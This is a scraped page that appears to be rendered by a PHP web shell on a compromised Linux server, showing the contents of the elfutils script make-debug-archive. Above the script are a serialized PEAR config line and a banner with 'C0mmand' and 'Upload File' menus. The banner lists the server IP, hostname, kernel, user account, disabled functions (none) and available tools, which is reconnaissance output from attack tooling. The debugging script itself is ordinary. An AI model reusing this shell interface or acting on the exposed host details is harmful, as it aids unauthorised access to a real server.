#PEAR_Config 0.9 a:12:{s:7:"php_dir";s:67:"//pear/php";s:8:"data_dir";s:68:"//pear/data";s:7:"www_dir";s:67:"//pear/www";s:7:"cfg_dir";s:67:"//pear/cfg";s:7:"ext_dir";s:67:"//pear/ext";s:7:"doc_dir";s:68:"//pear/docs";s:8:"test_dir";s:69:"//pear/tests";s:9:"cache_dir";s:69:"//pear/cache";s:12:"download_dir";s:72:"//pear/download";s:8:"temp_dir";s:68:"//pear/temp";s:7:"bin_dir";s:63:"//pear";s:7:"man_dir";s:67:"//pear/man";}
|
Server IP : 99.192.176.69 / Your IP : 216.73.217.59 Web Server : Apache System : Linux platinumpuzzy2.eosdns.net 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64 User : bbwcamhouse ( 1000) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0555) : /../bin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
#!/bin/sh
#
# Script to make an offline archive for debugging with libdwfl-based tools.
#
# make-debug-archive ARCHIVE {options}
# make-debug-archive --kernel [--force] [RELEASE]
#
# Valid options are those listed under 'Input selection options'
# by running /usr/bin/eu-unstrip --help.
#
# The archive installed by --kernel be used automatically by -K.
# An offline archive can be used via -e in any tool that accepts those options.
#
UNSTRIP=${UNSTRIP:-/usr/bin/eu-unstrip}
AR=${AR:-/usr/bin/eu-ar}
SUDO=${SUDO:-/usr/bin/sudo}
LS=/bin/ls
RM=/bin/rm
MV=/bin/mv
MKDIR=/bin/mkdir
XARGS=/usr/bin/xargs
outdir=${TMPDIR:-/tmp}/debugar$$
usage()
{
echo "Usage: $0 ARCHIVE {options}"
echo " or: $0 --kernel [--sudo] [--force] [RELEASE]"
echo
echo "Valid options are listed under 'Input selection options'"
echo "when running: $UNSTRIP --help"
echo
echo "The --kernel form updates the file used by -K if the"
echo "kernel installation has changed, or always with --force."
echo "With --sudo, touches the installed file via $SUDO."
}
fatal_usage()
{
usage >&2
exit 2
}
script_version()
{
echo "`basename $0` (elfutils) 0.176"
echo "Copyright (C) 2007 Red Hat, Inc."
echo "This is free software; see the source for copying conditions."
echo "There is NO warranty; not even for MERCHANTABILITY or"
echo "FITNESS FOR A PARTICULAR PURPOSE."
echo "Written by Roland McGrath."
}
sudo=
kernel=no
force_kernel=no
while [ $# -gt 0 ]; do
case "x$1" in
x--help) usage; exit 0 ;;
x--version) script_version; exit 0 ;;
x--kernel) kernel=yes ;;
x--force) force_kernel=yes ;;
x--sudo) sudo=$SUDO ;;
*) break ;;
esac
shift
done
if [ $kernel = no ] && [ $force_kernel = yes -o -n "$sudo" ]; then
usage
fi
if [ $kernel = yes ]; then
if [ $# -eq 0 ]; then
release=`uname -r`
elif [ $# -eq 1 ]; then
release=$1
else
fatal_usage
fi
dir=/usr/lib/debug/lib/modules/$release
archive=$dir/debug.a
dep=/lib/modules/$release/modules.dep
if [ ! -d $dir ]; then
echo >&2 "$0: $dir not installed"
exit 1
fi
# Without --force, bail if the kernel installation is not newer.
# This file is normally touched by installing new kernels or modules.
if [ $force_kernel = no -a "$archive" -nt "$dep" ]; then
exit 0
fi
# We have to kill the old one first, because our own -K would use it.
[ ! -e "$archive" ] || $sudo $RM -f "$archive" || exit
set "$archive" "-K$release"
fi
if [ $# -lt 2 ]; then
fatal_usage
fi
archive="$1"
shift
case "$archive" in
/*) ;;
*) archive="`/bin/pwd`/$archive" ;;
esac
if [ -z "$sudo" ]; then
new_archive="$archive.new"
else
new_archive="$outdir.a"
fi
$RM -f "$new_archive" || exit
trap '$RM -rf "$outdir" "$new_archive"' 0 1 2 15
$MKDIR "$outdir" &&
$UNSTRIP -d "$outdir" -m -a -R "$@" &&
(cd "$outdir" && $LS | $XARGS $AR cq "$new_archive") &&
$sudo $MV -f "$new_archive" "$archive"
exit